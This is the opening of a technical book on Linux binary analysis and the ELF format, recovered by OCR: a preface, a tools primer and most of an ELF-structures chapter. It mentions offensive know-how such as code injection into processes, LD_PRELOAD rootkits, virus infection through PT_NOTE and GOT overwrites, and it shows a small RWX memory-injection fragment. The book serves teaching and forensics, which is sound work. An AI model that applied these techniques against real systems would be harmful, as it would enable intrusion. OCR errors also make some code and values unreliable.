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Preface

Software engineering is the act of creating an invention that exists, lives, and breathes on a
microprocessor. We call it a program. Reverse engineering is the act of discovering how
exactly that program lives and breathes, and furthermore it is how we can understand,
dissect, or modify the behavior of that program using a combination of disassemblers and
reversing tools and relying on our hacker instincts to master the target program which we
are reverse engineering. We must understand the intricacies of binary formats, memory
layout, and the instruction set of the given processor. We therefore become masters of the
very life given to a program on a microprocessor. A reverse engineer is skilled in the art of
binary mastery. This book is going to give you the proper lessons, insight, and tasks
required to become a Linux binary hacker. When someone can call themselves a reverse
engineer, they elevate themselves beyond the level of just engineering. A true hacker can
not only write code but also dissect code, disassembling the binaries and memory
segments in pursuit of modifying the inner workings of a software program; now that is
power...

On both a professional and a hobbyist level, I use my reverse engineering skills in the
computer security field, whether it is vulnerability analysis, malware analysis, antivirus
software, rootkit detection, or virus design. Much of this book will be focused towards
computer security. We will analyze memory dumps, reconstruct process images, and
explore some of the more esoteric regions of binary analysis, including Linux virus
infection and binary forensics. We will dissect malware-infected executables and infect
running processes. This book is aimed at explaining the necessary components for reverse
engineering in Linux, so we will be going deep into learning ELF (executable and linking
format), which is the binary format used in Linux for executables, shared libraries, core
dumps, and object files. One of the most significant aspects of this book is the deep insight
it gives into the structural complexities of the ELF binary format. The ELF sections,
segments, and dynamic linking concepts are vital and exciting chunks of knowledge. We
will explore the depths of hacking ELF binaries and see how these skills can be applied to
a broad spectrum of work.

The goal of this book is to teach you to be one of the few people with a strong foundation
in Linux binary hacking, which will be revealed as a vast topic that opens the door to
innovative research and puts you on the cutting edge of low-level hacking in the Linux
operating system. You will walk away with valuable knowledge of Linux binary (and
memory) patching, virus engineering/analysis, kernel forensics, and the ELF binary format
as a whole. You will also gain more insights into program execution and dynamic linking
and achieve a higher understanding of binary protection and debugging internals.

I am a computer security researcher, software engineer, and hacker. This book is merely an
organized observation and documentation of the research I have done and the foundational
knowledge that has manifested as a result.

This knowledge covers a wide span of information that can’t be found in any one place on
the Internet. This book tries to bring many interrelated topics together into one piece so



that it may serve as an introductory manual and reference to the subject of Linux binary
and memory hacking. It is by no means a complete reference but does contain a lot of core
information to get started with.



What this book covers

Chapter 1, The Linux Environment and Its Tools, gives a brief description of the Linux
environment and its tools, which we will be using throughout the book.

Chapter 2, The ELF Binary Format, helps you learn about every major component of the
ELF binary format that is used across Linux and most Unix-flavored operating systems.

Chapter 3, Linux Process Tracing, teaches you to use the ptrace system call to read and
write to process memory and inject code.

Chapter 4, ELF Virus Technology — Linux/Unix Viruses, is where you discover the past,
present, and future of Linux viruses, how they are engineered, and all of the amazing
research that surrounds them.

Chapter 5, Linux Binary Protection, explains the basic internals of ELF binary protection.

Chapter 6, ELF Binary Forensics in Linux, is where you learn to dissect ELF objects in
search of viruses, backdoors, and suspicious code injection.

Chapter 7, Process Memory Forensics, shows you how to dissect a process address space
in search of malware, backdoors, and suspicious code injection that live in the memory.

Chapter 8, ECFS — Extended Core File Snapshot Technology, is an introduction to ECFS,
a new open source product for deep process memory forensics.

Chapter 9, Linux /proc/kcore Analysis, shows how to detect Linux kernel malware through
memory analysis with /proc/kcore.






What you need for this book

The prerequisites for this book are as follows: we will assume that you have a working
knowledge of the Linux command line, comprehensive C programming skills, and a very
basic grasp on the x86 assembly language (this is helpful but not necessary). There is a
saying, “If you can read assembly language then everything is open source.”






Who this book is for

If you are a software engineer or reverse engineer and want to learn more about Linux
binary analysis, this book will provide you with all that you need to implement solutions
for binary analysis in areas of security, forensics, and antiviruses. This book is great for
both security enthusiasts and system-level engineers. Some experience with the C
programming language and the Linux command line is assumed.






Conventions

In this book, you will find a number of text styles that distinguish between different kinds
of information. Here are some examples of these styles and an explanation of their
meaning.

Code words in text, database table names, folder names, filenames, file extensions,
pathnames, dummy URLSs, user input, and Twitter handles are shown as follows: ” There
are seven section headers, starting at the offset 6x1118.”

A block of code is set as follows:

uint64_t injection_code(void * vaddr)

{

volatile void *mem;

mem = evil_mmap(vaddr,
8192,
PROT_READ |PROT_WRITE|PROT_EXEC,
MAP_PRIVATE |MAP_FIXED |MAP_ANONYMOUS,
-1, 0);

asm__ __volatile__ ("int3");

}

When we wish to draw your attention to a particular part of a code block, the relevant
lines or items are set in bold:

0xb755a990] changed to [O0x8048376]

[+] Patched GOT with PLT stubs

Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya vO.1@ELFWorkshop]

quit

Any command-line input or output is written as follows:

hacker@ELFWorkshop:~/
workshop/labs/exercise_9% ./dumpme.out

Note

Warnings or important notes appear in a box like this.
Tip
Tips and tricks appear like this.
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Customer support
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readers from frustration and help us improve subsequent versions of this book. If you find
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Chapter 1. The Linux Environment and
Its Tools

In this chapter, we will be focusing on the Linux environment as it pertains to our focus
throughout this book. Since this book is focused about Linux binary analysis, it makes
sense to utilize the native environment tools that come with Linux and to which everyone
has access. Linux comes with the ubiquitous binutils already installed, but they can be
found at http://www.gnu.org/software/binutils/. They contain a huge selection of tools that
are handy for binary analysis and hacking. This is not another book on using IDA Pro.
IDA is hands-down the best universal software for reverse engineering of binaries, and I
would encourage its use as needed, but we will not be using it in this book. Instead, you
will acquire the skills to hop onto virtually any Linux system and have an idea on how to
begin hacking binaries with an environment that is already accessible. You can therefore
learn to appreciate the beauty of Linux as a true hackers’ environment for which there are
many free tools available. Throughout the book, we will demonstrate the use of various
tools and give a recap on how to use them as we progress through each chapter.
Meanwhile, however, let this chapter serve as a primer or reference to these tools and tips
within the Linux environment. If you are already very familiar with the Linux
environment and its tools for disassembling, debugging, and parsing of ELF files, then
you may simply skip this chapter.


http://www.gnu.org/software/binutils/

Linux tools

Throughout this book, we will be using a variety of free tools that are accessible by
anyone. This section will give a brief synopsis of some of these tools for you.



GDB

GNU Debugger (GDB) is not only good to debug buggy applications. It can also be used
to learn about a program’s control flow, change a program’s control flow, and modify the
code, registers, and data structures. These tasks are common for a hacker who is working
to exploit a software vulnerability or is unraveling the inner workings of a sophisticated
virus. GDB works on ELF binaries and Linux processes. It is an essential tool for Linux
hackers and will be used in various examples throughout this book.



Objdump from GNU binutils

Object dump (objdump) is a simple and clean solution for a quick disassembly of code.
It is great for disassembling simple and untampered binaries, but will show its limitations
quickly when attempting to use it for any real challenging reverse engineering tasks,
especially against hostile software. Its primary weakness is that it relies on the ELF section
headers and doesn’t perform control flow analysis, which are both limitations that greatly
reduce its robustness. This results in not being able to correctly disassemble the code
within a binary, or even open the binary at all if there are no section headers. For many
conventional tasks, however, it should suffice, such as when disassembling common
binaries that are not fortified, stripped, or obfuscated in any way. It can read all common
ELF types. Here are some common examples of how to use objdump:

e View all data/code in every section of an ELF file:
objdump -D <elf_object>

e View only program code in an ELF file:
objdump -d <elf_object>

e View all symbols:
objdump -tT <elf_object>

We will be exploring objdump and other tools in great depth during our introduction to the
ELF format in Chapter 2, The ELF Binary Format.



Objcopy from GNU binutils

Object copy (Objcopy) is an incredibly powerful little tool that we cannot summarize
with a simple synopsis. I recommend that you read the manual pages for a complete
description. Objcopy can be used to analyze and modify ELF objects of any kind, although
some of its features are specific to certain types of ELF objects. Objcopy is often times
used to modify or copy an ELF section to or from an ELF binary.

To copy the .data section from an ELF object to a file, use this line:
objcopy -only-section=.data <infile> <outfile>

The objcopy tool will be demonstrated as needed throughout the rest of this book. Just
remember that it exists and can be a very useful tool for the Linux binary hacker.



strace

System call trace (strace) is a tool that is based on the ptrace(2) system call, and it
utilizes the PTRACE_SYSCALL request in a loop to show information about the system call
(also known as syscalls) activity in a running program as well as signals that are caught
during execution. This program can be highly useful for debugging, or just to collect
information about what syscalls are being called during runtime.

This is the strace command used to trace a basic program:

strace /bin/ls -o ls.out

The strace command used to attach to an existing process is as follows:

strace -p <pid> -o daemon.out

The initial output will show you the file descriptor number of each system call that takes a
file descriptor as an argument, such as this:

SYS_read(3, buf, sizeof(buf));

If you want to see all of the data that was being read into file descriptor 3, you can run the
following command:

strace -e read=3 /bin/1ls

You may also use -e write=fd to see written data. The strace tool is a great little tool,
and you will undoubtedly find many reasons to use it.



Itrace

library trace (Itrace) is another neat little tool, and it is very similar to strace. It works
similarly, but it actually parses the shared library-linking information of a program and
prints the library functions being used.



Basic Itrace command

You may see system calls in addition to library function calls with the -S flag. The 1trace
command is designed to give more granular information, since it parses the dynamic
segment of the executable and prints actual symbols/functions from shared and static
libraries:

ltrace <program> -0 program.out



ftrace

Function trace (ftrace) is a tool designed by me. It is similar to 1trace, but it also shows
calls to functions within the binary itself. There was no other tool I could find publicly
available that could do this in Linux, so I decided to code one. This tool can be found at

https://github.com/elfmaster/ftrace. A demonstration of this tool is given in the next
chapter.


https://github.com/elfmaster/ftrace

readelf

The readelf command is one of the most useful tools around for dissecting ELF binaries.
It provides every bit of the data specific to ELF necessary for gathering information about
an object before reverse engineering it. This tool will be used often throughout the book to
gather information about symbols, segments, sections, relocation entries, dynamic linking
of data, and more. The readelf command is the Swiss Army knife of ELF. We will be
covering it in depth as needed, during Chapter 2, The ELF Binary Format, but here are a
few of its most commonly used flags:

e To retrieve a section header table:

readelf -S <object>

e To retrieve a program header table:

readelf -1 <object>

e To retrieve a symbol table:

readelf -s <object>

e To retrieve the ELF file header data:

readelf -e <object>

e To retrieve relocation entries:

readelf -r <object>

e To retrieve a dynamic segment:

readelf -d <object>



ERESI — The ELF reverse engineering system

interface

ERESI project (http://www.eresi-project.org) contains a suite of many tools that are a
Linux binary hacker’s dream. Unfortunately, many of them are not kept up to date and
aren’t fully compatible with 64-bit Linux. They do exist for a variety of architectures,
however, and are undoubtedly the most innovative single collection of tools for the
purpose of hacking ELF binaries that exist today. Because I personally am not really
familiar with using the ERESI project’s tools, and because they are no longer kept up to
date, I will not be exploring their capabilities within this book. However, be aware that
there are two Phrack articles that demonstrate the innovation and powerful features of the
ERESI tools:

e Cerberus ELF interface (http://www.phrack.org/archives/issues/61/8.txt)
e Embedded ELF debugging (http://www.phrack.org/archives/issues/63/9.txt)


http://www.eresi-project.org
http://www.phrack.org/archives/issues/61/8.txt
http://www.phrack.org/archives/issues/63/9.txt




Useful devices and files

Linux has many files, devices, and /proc entries that are very helpful for the avid hacker
and reverse engineer. Throughout this book, we will be demonstrating the usefulness of
many of these files. Here is a description of some of the commonly used ones throughout
the book.



/proc/<pid>/maps

/proc/<pid>/maps file contains the layout of a process image by showing each memory
mapping. This includes the executable, shared libraries, stack, heap, VDSO, and more.
This file is critical for being able to quickly parse the layout of a process address space
and is used more than once throughout this book.



/proc/kcore

The /proc/kcore is an entry in the proc filesystem that acts as a dynamic core file of the
Linux kernel. That is, it is a raw dump of memory that is presented in the form of an ELF
core file that can be used by GDB to debug and analyze the kernel. We will explore
/proc/kcore in depth in Chapter 9, Linux /proc/kcore Analysis.



/boot/System.map

This file is available on almost all Linux distributions and is very useful for kernel
hackers. It contains every symbol for the entire kernel.



/proc/kallsyms

The kallsyms is very similar to System.map, except that it is a /proc entry that means that
it is maintained by the kernel and is dynamically updated. Therefore, if any new LKMs are
installed, the symbols will be added to /proc/kallsyms on the fly. The /proc/kallsyms
contains at least most of the symbols in the kernel and will contain all of them if specified
in the CONFIG_KALLSYMS_ALL kernel config.



/proc/iomem

The iomenm is a useful proc entry as it is very similar to /proc/<pid>/maps, but for all of
the system memory. If, for instance, you want to know where the kernel’s text segment is
mapped in the physical memory, you can search for the Kernel string and you will see the
code/text segment, the data segment, and the bss segment:

$ grep Kernel /proc/iomem
01000000-016d9b27 : Kernel code
016d9b28-01ceeebf : Kernel data
01dfe000-01f26fff : Kernel bss



ECFS

Extended core file snapshot (ECFS) is a special core dump technology that was
specifically designed for advanced forensic analysis of a process image. The code for this
software can be found at https://github.com/elfmaster/ecfs. Also, Chapter 8, ECFS —
Extended Core File Snapshot Technology, is solely devoted to explaining what ECFS is
and how to use it. For those of you who are into advanced memory forensics, you will
want to pay close attention to this.


https://github.com/elfmaster/ecfs




Linker-related environment points

The dynamic loader/linker and linking concepts are inescapable components involved in
the process of program linking and execution. Throughout this book, you will learn a lot
about these topics. In Linux, there are quite a few ways to alter the dynamic linker’s
behavior that can serve the binary hacker in many ways. As we move through the book,
you will begin to understand the process of linking, relocations, and dynamic loading
(program interpreter). Here are a few linker-related attributes that are useful and will be
used throughout the book.



The LD_PREIL OAD environment variable

The LD_PRELOAD environment variable can be set to specify a library path that should be
dynamically linked before any other libraries. This has the effect of allowing functions and
symbols from the preloaded library to override the ones from the other libraries that are
linked afterwards. This essentially allows you to perform runtime patching by redirecting
shared library functions. As we will see in later chapters, this technique can be used to
bypass anti-debugging code and for userland rootkits.



The LD SHOW_AUXYV environment variable

This environment variable tells the program loader to display the program’s auxiliary
vector during runtime. The auxiliary vector is information that is placed on the program’s
stack (by the kernel’s ELF loading routine), with information that is passed to the dynamic
linker with certain information about the program. We will examine this much more
closely in Chapter 3, Linux Process Tracing, but the information might be useful for
reversing and debugging. If, for instance, you want to get the memory address of the
VDSO page in the process image (which can also be obtained from the maps file, as shown
earlier) you have to look for AT_SYSINFO.

Here is an example of the auxiliary vector with LD_SHOW_AUXV:

$ LD_SHOW_AUXV=1 whoami
AT_SYSINFO: 0xb7779414
AT_SYSINFO_EHDR: 0xb7779000
AT_HWCAP: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
pse36 clflush mmx fxsr sse sse2
AT_PAGESZ: 4096

AT_CLKTCK: 100

AT_PHDR: 0x8048034
AT_PHENT: 32

AT_PHNUM: 9

AT_BASE: 0xb777a000
AT_FLAGS: 0x0

AT_ENTRY: 0x8048eb8

AT_UID: 1000

AT_EUID: 1000

AT_GID: 1000

AT_EGID: 1000

AT_SECURE: 0

AT_RANDOM: 0xbfb4ca2b
AT_EXECFN: /usr/bin/whoami
AT_PLATFORM: 1686

elfmaster

The auxiliary vector will be covered in more depth in Chapter 2, The ELF Binary Format.



Linker scripts

Linker scripts are a point of interest to us because they are interpreted by the linker and
help shape a program’s layout with regard to sections, memory, and symbols. The default
linker script can be viewed with 1d -verbose.

The 1d linker program has a complete language that it interprets when it is taking input
files (such as relocatable object files, shared libraries, and header files), and it uses this
language to determine how the output file, such as an executable program, will be
organized. For instance, if the output is an ELF executable, the linker script will help
determine what the layout will be and what sections will exist in which segments. Here is
another instance: the .bss section is always at the end of the data segment; this is
determined by the linker script. You might be wondering how this is interesting to us.
Well! For one, it is important to have some insights into the linking process during
compile time. The gcc relies on the linker and other programs to perform this task, and in
some instances, it is important to be able to have control over the layout of the executable
file. The 1d command language is quite an in-depth language and is beyond the scope of
this book, but it is worth checking out. And while reverse engineering executables,
remember that common segment addresses may sometimes be modified, and so can other
portions of the layout. This indicates that a custom linker script is involved. A linker script
can be specified with gcc using the -T flag. We will look at a specific example of using a
linker script in Chapter 5, Linux Binary Protection.






Summary

We just touched upon some fundamental aspects of the Linux environment and the tools
that will be used most commonly in the demonstrations from each chapter. Binary analysis
is largely about knowing the tools and resources that are available for you and how they
all fit together. We only briefly covered the tools, but we will get an opportunity to
emphasize the capabilities of each one as we explore the vast world of Linux binary
hacking in the following chapters. In the next chapter, we will delve into the internals of
the ELF binary format and cover many interesting topics, such as dynamic linking,
relocations, symbols, sections, and more.






Chapter 2. The ELF Binary Format

In order to reverse-engineer Linux binaries, you must understand the binary format itself.
ELF has become the standard binary format for Unix and Unix-flavor OSes. In Linux,
BSD variants, and other OSes, the ELF format is used for executables, shared libraries,
object files, coredump files, and even the kernel boot image. This makes ELF very
important to learn for those who want to better understand reverse engineering, binary
hacking, and program execution. Binary formats such as ELF are not generally a quick
study, and to learn ELF requires some degree of application of the different components
that you learn as you go. Real, hands-on experience is necessary to achieve proficiency.
The ELF format is complicated and dry, but can be learned with some enjoyment when
applying your developing knowledge of it in reverse engineering and programming tasks.
ELF is really quite an incredible composition of computer science at work, with program
loading, dynamic linking, symbol table lookups, and many other tightly orchestrated
components.

I believe that this chapter is perhaps the most important in this entire book because it will
give the reader a much greater insight into topics pertaining to how a program is actually
mapped out on disk and loaded into memory. The inner workings of program execution
are complicated, and understanding it is valuable knowledge to the aspiring binary hacker,
reverse engineer, or low-level programmer. In Linux, program execution implies the ELF
binary format.

My approach to learning ELF is through investigation of the ELF specifications as any
Linux reverse engineer should, and then applying each aspect of what we learn in a
creative way. Throughout this book, you will visit many facets of ELF and see how
knowledge of it is pertinent to viruses, process-memory forensics, binary protection,
rootkits, and more.

In this chapter, you will cover the following ELF topics:

ELF file types
Program headers
Section headers
Symbols

Relocations

Dynamic linking
Coding an ELF parser



ELF file types

An ELF file may be marked as one of the following types:

ET_NONE: This is an unknown type. It indicates that the file type is unknown, or has
not yet been defined.

ET_REL: This is a relocatable file. ELF type relocatable means that the file is marked
as a relocatable piece of code or sometimes called an object file. Relocatable object
files are generally pieces of Position independent code (PIC) that have not yet been
linked into an executable. You will often see .o files in a compiled code base. These
are the files that hold code and data suitable for creating an executable file.

ET_EXEC: This is an executable file. ELF type executable means that the file is
marked as an executable file. These types of files are also called programs and are the
entry point of how a process begins running.

ET_DYN: This is a shared object. ELF type dynamic means that the file is marked as a
dynamically linkable object file, also known as shared libraries. These shared
libraries are loaded and linked into a program’s process image at runtime.

ET_CORE: This is an ELF type core that marks a core file. A core file is a dump of a
full process image during the time of a program crash or when the process has
delivered an SIGSEGYV signal (segmentation violation). GDB can read these files and
aid in debugging to determine what caused the program to crash.

If we look at an ELF file with the command readelf -h, we can view the initial ELF file
header. The ELF file header starts at the 0 offset of an ELF file and serves as a map to the
rest of the file. Primarily, this header marks the ELF type, the architecture, and the entry
point address where execution is to begin, and provides offsets to the other types of ELF
headers (section headers and program headers), which will be explained in depth later.
More of the file header will be understood once we explain the meaning of section headers
and program headers. Looking at the ELF(5) man page in Linux shows us the ELF header
structure:

#define EI_NIDENT 16

typedef struct {
unsigned char e_ident[EI_NIDENT];

uintl6_t e_type;
uintil6_t e_machine;
uint32_t e_version;
E1fN_Addr e_entry;
E1fN_Off e_phoff;
E1fN_Off e_shoff;
uint32_t e_flags;
uintil6_t e_ehsize;
uintl6_t e_phentsize;
uintl6_t e_phnum;
uintil6_t e_shentsize;
uintil6_t e_shnum;
uintil6_t e_shstrndx;

} E1fN_Ehdr;



Later in this chapter, we will see how to utilize the fields in this structure to map out an
ELF file with a simple C program. First, we will continue looking at the other types of
ELF headers that exist.






ELF program headers

ELF program headers are what describe segments within a binary and are necessary for
program loading. Segments are understood by the kernel during load time and describe the
memory layout of an executable on disk and how it should translate to memory. The
program header table can be accessed by referencing the offset found in the initial ELF
header member called e_phoff (program header table offset), as shown in the ELfN_Ehdr
structure in display 1.7.

There are five common program header types that we will discuss here. Program headers
describe the segments of an executable file (shared libraries included) and what type of
segment it is (that is, what type of data or code it is reserved for). First, let’s take a look at
the E1f32_Phdr structure that makes up a program header entry in the program header
table of a 32-bit ELF executable.

Note
We sometimes refer to program headers as Phdrs throughout the rest of this book.

Here’s the E1f32_Phdr struct:

typedef struct {
uint32_t p_type; (segment type)
E1f32_0ff p_offset; (segment offset)
E1f32_Addr p_vaddr; (segment virtual address)
E1f32_Addr p_paddr; (segment physical address)
uint32_t p_filesz; (size of segment in the file)
uint32_t p_memsz; (size of segment in memory)
uint32_t p_flags; (segment flags, I.E execute|read|read)
uint32_t p_align; (segment alignment in memory)

} E1f32_Phdr;



PT_LOAD

An executable will always have at least one PT_LOAD type segment. This type of program
header is describing a loadable segment, which means that the segment is going to be
loaded or mapped into memory.

For instance, an ELF executable with dynamic linking will generally contain the following
two loadable segments (of type PT_LOAD):

e The text segment for program code
¢ And the data segment for global variables and dynamic linking information

The preceding two segments are going to be mapped into memory and aligned in memory
by the value stored in p_align. I recommend reading the ELF man pages in Linux to
understand all of the members in a Phdr structure as they describe the layout of both the
segments in the file as well as in memory.

Program headers are primarily there to describe the layout of a program for when it is
executing and in memory. We will be utilizing Phdrs later in this chapter to demonstrate
what they are and how to use them in reverse engineering software.

Note

The text segment (also known as the code segment) will generally have segment
permissions set as PF_X | PF_R (READ+EXECUTE).

The data segment will generally have segment permissions set to PF_W | PF_R
(READ+WRITE).

A file infected with a polymorphic virus might have changed these permissions in some
way such as modifying the text segment to be writable by adding the PF_w flag into the
program header’s segment flags (p_flags).



PT_DYNAMIC - Phdr for the dynamic segment

The dynamic segment is specific to executables that are dynamically linked and contains
information necessary for the dynamic linker. This segment contains tagged values and
pointers, including but not limited to the following:

e List of shared libraries that are to be linked at runtime

e The address/location of the Global offset table (GOT) discussed in the ELF
Dynamic Linking section

¢ Information about relocation entries

Following is a complete list of the tag names:

Tag name ||Description |
DT_HASH ||Address of symbol hash table |
DT_STRTAB ||Address of string table |
DT_SYMTAB ||Address of symbol table |
DT_RELA ||Address of Rela relocs table |
DT_RELASZ [|ISize in bytes of Rela table |
DT_RELAENT [ISize in bytes of a Rela table entry |
DT_STRSZ Size in bytes of string table |
DT_STRSZ Size in bytes of string table |
DT_STRSZ Size in bytes of string table |
DT_SYMENT |ISize in bytes of a symbol table entry |
DT_INIT ||Address of the initialization function |
DT_FINI ||Address of the termination function |
DT_SONAME  |IString table offset to name of shared object |
DT_RPATH String table offset to library search path |
DT_SYMBOLIC||Alert linker to search this shared object before the executable for symbols |
DT_REL ||Address of Rel relocs table |
DT_RELSZ Size in bytes of Rel table |
DT_RELENT [ISize in bytes of a Rel table entry |
DT_PLTREL ||Type of reloc the PLT refers (Rela or Rel) |

I I



DT_DEBUG |

Undefined use for debugging |

DT_TEXTREL

Absence of this indicates that no relocs should apply to a nonwritable segment |

DT_JMPREL

Address of reloc entries solely for the PLT |

DT_BIND_NOW

Instructs the dynamic linker to process all relocs before transferring control to the executable

DT_RUNPATH [IString table offset to library search path

The dynamic segment contains a series of structures that hold relevant dynamic linking
information. The d_tag member controls the interpretation of d_un.

The 32-bit ELF dynamic struct:

typedef struct {
E1f32_Sword d_tag;
union {
E1f32_Word d_val;
E1f32_Addr d_ptr;
} d_un;
} E1f32_Dyn;
extern E1f32_Dyn _DYNAMIC[];

We will explore more about dynamic linking later in this chapter.



PT_NOTE

A segment of type PT_NOTE may contain auxiliary information that is pertinent to a
specific vendor or system. Following is a definition of PT_NOTE from the formal ELF
specification:

Sometimes a vendor or system builder needs to mark an object file with special
information that other programs will check for conformance, compatibility, and so on.
Sections of type SHT_NOTE and program header elements of type PT_NOTE can be used for
this purpose. The note information in sections and program header elements holds any
number of entries, each of which is an array of 4-byte words in the format of the target
processor. Labels appear below to help explain note information organization, but they are
not part of the specification.

A point of interest: because of the fact that this segment is only used for OS specification
information, and is actually not necessary for an executable to run (since the system will
just assume the executable is native either way), this segment becomes an interesting place
for virus infection, although not necessarily the most practical way to go about it due to
size constraints. Some information on NOTE segment infections can be found at

http://vxheavens.com/lib/vhe06.html.


http://vxheavens.com/lib/vhe06.html

PT_INTERP

This small segment contains only the location and size to a null terminated string
describing where the program interpreter is; for instance, /1ib/linux-1d.so.2 is
generally the location of the dynamic linker, which is also the program interpreter.



PT_PHDR

This segment contains the location and size of the program header table itself. The Phdr
table contains all of the Phdr’s describing the segments of the file (and in the memory
image).

Consult the ELF(5) man pages or the ELF specification paper to see all possible Phdr
types. We have covered the most commonly seen ones that are vital to program execution
or that we will be seeing most commonly in our reverse engineering endeavors.

We can use the readelf -1 <filename> command to view a file’s Phdr table:

E1f file type is EXEC (Executable file)

Entry point 0x8049a30

There are 9 program headers, starting at offset 52
Program Headers:

Type Offset  VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0Xx000034 Ox08048034 0x08048034 Ox00120 Ox00120 R E 0x4
INTERP Ox000154 Ox08048154 0Ox08048154 0Ox00013 Ox00013 R Ox1
[Requesting program interpreter: /lib/1d-linux.so.2]

LOAD OX000000 OxO8048000 0x08048000 O0x1622c 0x1622c R E 0x1000
LOAD 0x016ef8 Ox0805fef8 Ox0805fef8 OxO03c8 OxOOfe8 RW 0x1000
DYNAMIC 0x016f0Oc OxO805FfOCc OxO805ffOC OXxOOO0eO® OxOO0e® RW 0Ox4
NOTE 0Xx000168 Ox08048168 0x08048168 Ox00044 Ox00044 R  0Ox4
GNU_EH_FRAME 0x016104 0x0805e104 0x0805e104 0x0002c 0x0002c R Ox4
GNU_STACK OX000000 OXOEOOOEOO OXOEOOAOOO OXxOEOOO OXEO0BO RW 0x4
GNU_RELRO 0x016ef8 Ox0805fef8 Ox0805fef8 OxO0108 OxO00108 R  0Ox1

We can see the entry point of the executable as well as some of the different segment types
we just finished discussing. Notice the offsets to the right of the permission flags and
alignment flags of the two first PT_LOAD segments.

The text segment is READ+EXECUTE and the data segment is READ+WRITE, and both
segments have an alignment of 0x1000 or 4,096 which is a page size on a 32-bit
executable, and this is for alignment during program loading.






ELF section headers

Now that we’ve looked at what program headers are, it is time to look at section headers. I
really want to point out here the distinction between the two; I often hear people calling
sections, segments, and vice versa. A section is not a segment. Segments are necessary for
program execution, and within each segment, there is either code or data divided up into
sections. A section header table exists to reference the location and size of these sections
and is primarily for linking and debugging purposes. Section headers are not necessary for
program execution, and a program will execute just fine without having a section header
table. This is because the section header table doesn’t describe the program memory
layout. That is the responsibility of the program header table. The section headers are
really just complimentary to the program headers. The readelf -1 command will show
which sections are mapped to which segments, which helps to visualize the relationship
between sections and segments.

If the section headers are stripped (missing from the binary), that doesn’t mean that the
sections are not there; it just means that they can’t be referenced by section headers and
less information is available for debuggers and disassembler programs.

Each section contains either code or data of some type. The data could range from
program data, such as global variables, or dynamic linking information that is necessary
for the linker. Now, as mentioned previously, every ELF object has sections, but not all
ELF objects have section headers, primarily when someone has deliberately removed the
section header table, which is not the default.

Usually, this is because the executable has been tampered with (for example, the section
headers have been stripped so that debugging is harder). All of GNU’s binutils such as
objcopy, objdump, and other tools such as gdb rely on the section headers to locate symbol
information that is stored in the sections specific to containing symbol data. Without
section headers, tools such as gdb and objdump are nearly useless.

Section headers are convenient to have for granular inspection over what parts or sections
of an ELF object we are viewing. In fact, section headers make reverse engineering a lot
easier since they provide us with the ability to use certain tools that require them. For
instance, if the section header table is stripped, then we can’t access a section such as
.dynsym, which contains imported/exported symbols describing function names and
offsets/addresses.

Note

Even if a section header table has been stripped from an executable, a moderate reverse
engineer can actually reconstruct a section header table (and even part of a symbol table)
by getting information from certain program headers since these will always exist in a
program or shared library. We discussed the dynamic segment earlier and the different
DT_TAG that contain information about the symbol table and relocation entries. We can use
this to reconstruct other parts of the executable as shown in Chapter 8, ECFS — Extended
Core File Snapshot Technology.



The following is what a 32-bit ELF section header looks like:

typedef struct {
uint32_t sh_name; // offset into shdr string table for shdr name
uint32_t sh_type; // shdr type I.E SHT_PROGBITS
uint32_t sh_flags; // shdr flags I.E SHT_WRITE|SHT_ALLOC
E1f32_Addr sh_addr; // address of where section begins
E1f32_0ff sh_offset; // offset of shdr from beginning of file
uint32_t sh_size; // size that section takes up on disk
uint32_t sh_link; // points to another section
uint32_t sh_info; // interpretation depends on section type
uint32_t sh_addralign; // alignment for address of section
uint32_t sh_entsize; // size of each certain entries that may be in
section
} E1f32_Shdr;

Let’s take a look at some of the most important sections and section types, once again
allowing room to study the ELF(5) man pages and the official ELF specification for more
detailed information about the sections.



The .text section

The . text section is a code section that contains program code instructions. In an
executable program where there are also Phdr’s, this section would be within the range of
the text segment. Because it contains program code, it is of section type SHT_PROGBITS.



The .rodata section

The rodata section contains read-only data such as strings from a line of C code, such as
the following command are stored in this section:

printf("Hello World!\n");

This section is read-only and therefore must exist in a read-only segment of an executable.
So you will find . rodata within the range of the text segment (not the data segment).
Because this section is read-only, it is of type SHT_PROGBITS.



The .plt section

The procedure linkage table (PLT) will be discussed in depth later in this chapter, but it
contains code necessary for the dynamic linker to call functions that are imported from
shared libraries. It resides in the text segment and contains code, so it is marked as type
SHT_PROGBITS.



The .data section

The data section, not to be confused with the data segment, will exist within the data
segment and contain data such as initialized global variables. It contains program variable
data, so it is marked SHT_PROGBITS.



The .bss section

The bss section contains uninitialized global data as part of the data segment and therefore
takes up no space on disk other than 4 bytes, which represents the section itself. The data
is initialized to zero at program load time and the data can be assigned values during
program execution. The bss section is marked SHT_NOBITS since it contains no actual data.



The .got.plt section

The Global offset table (GOT) section contains the global offset table. This works
together with the PLT to provide access to imported shared library functions and is
modified by the dynamic linker at runtime. This section in particular is often abused by
attackers who gain a pointer-sized write primitive in heap or .bss exploits. We will
discuss this in the ELF Dynamic Linking section of this chapter. This section has to do
with program execution and therefore is marked SHT_PROGBITS.



The .dynsym section

The dynsym section contains dynamic symbol information imported from shared libraries.
It is contained within the text segment and is marked as type SHT_DYNSYM.



The .dynstr section

The dynstr section contains the string table for dynamic symbols that has the name of
each symbol in a series of null terminated strings.



The .rel.* section

Relocation sections contain information about how parts of an ELF object or process
image need to be fixed up or modified at linking or runtime. We will discuss more about
relocations in the ELF Relocations section of this chapter. Relocation sections are marked
as type SHT_REL since they contain relocation data.



The .hash section

The hash section, sometimes called .gnu.hash, contains a hash table for symbol lookup.
The following hash algorithm is used for symbol name lookups in Linux ELF:

uint32_t
dl_new_hash (const char *s)

{
uint32_t h = 5381;

for (unsigned char ¢ = *s; c != '"\@'; c = *++s)
h=h?* 33 + c;

return h;

}
Note

h = h * 33 + cisoftenseencodedash = ((h << 5) + h) + ¢



The .symtab section

The symtab section contains symbol information of type E1fN_Sym, which we will analyze
more closely in the ELF symbols and relocations section of this chapter. The symtab
section is marked as type SHT_SYMTAB as it contains symbol information.



The .strtab section

The .strtab section contains the symbol string table that is referenced by the st_name
entries within the EL1fN_Sym structs of .symtab and is marked as type SHT_STRTAB since it
contains a string table.



The .shstrtab section

The shstrtab section contains the section header string table that is a set of null
terminated strings containing the names of each section, such as .text, .data, and so on.
This section is pointed to by the ELF file header entry called e_shstrndx that holds the
offset of .shstrtab. This section is marked SHT_STRTAB since it contains a string table.



The .ctors and .dtors sections

The .ctors (constructors) and .dtors (destructors) sections contain function pointers to
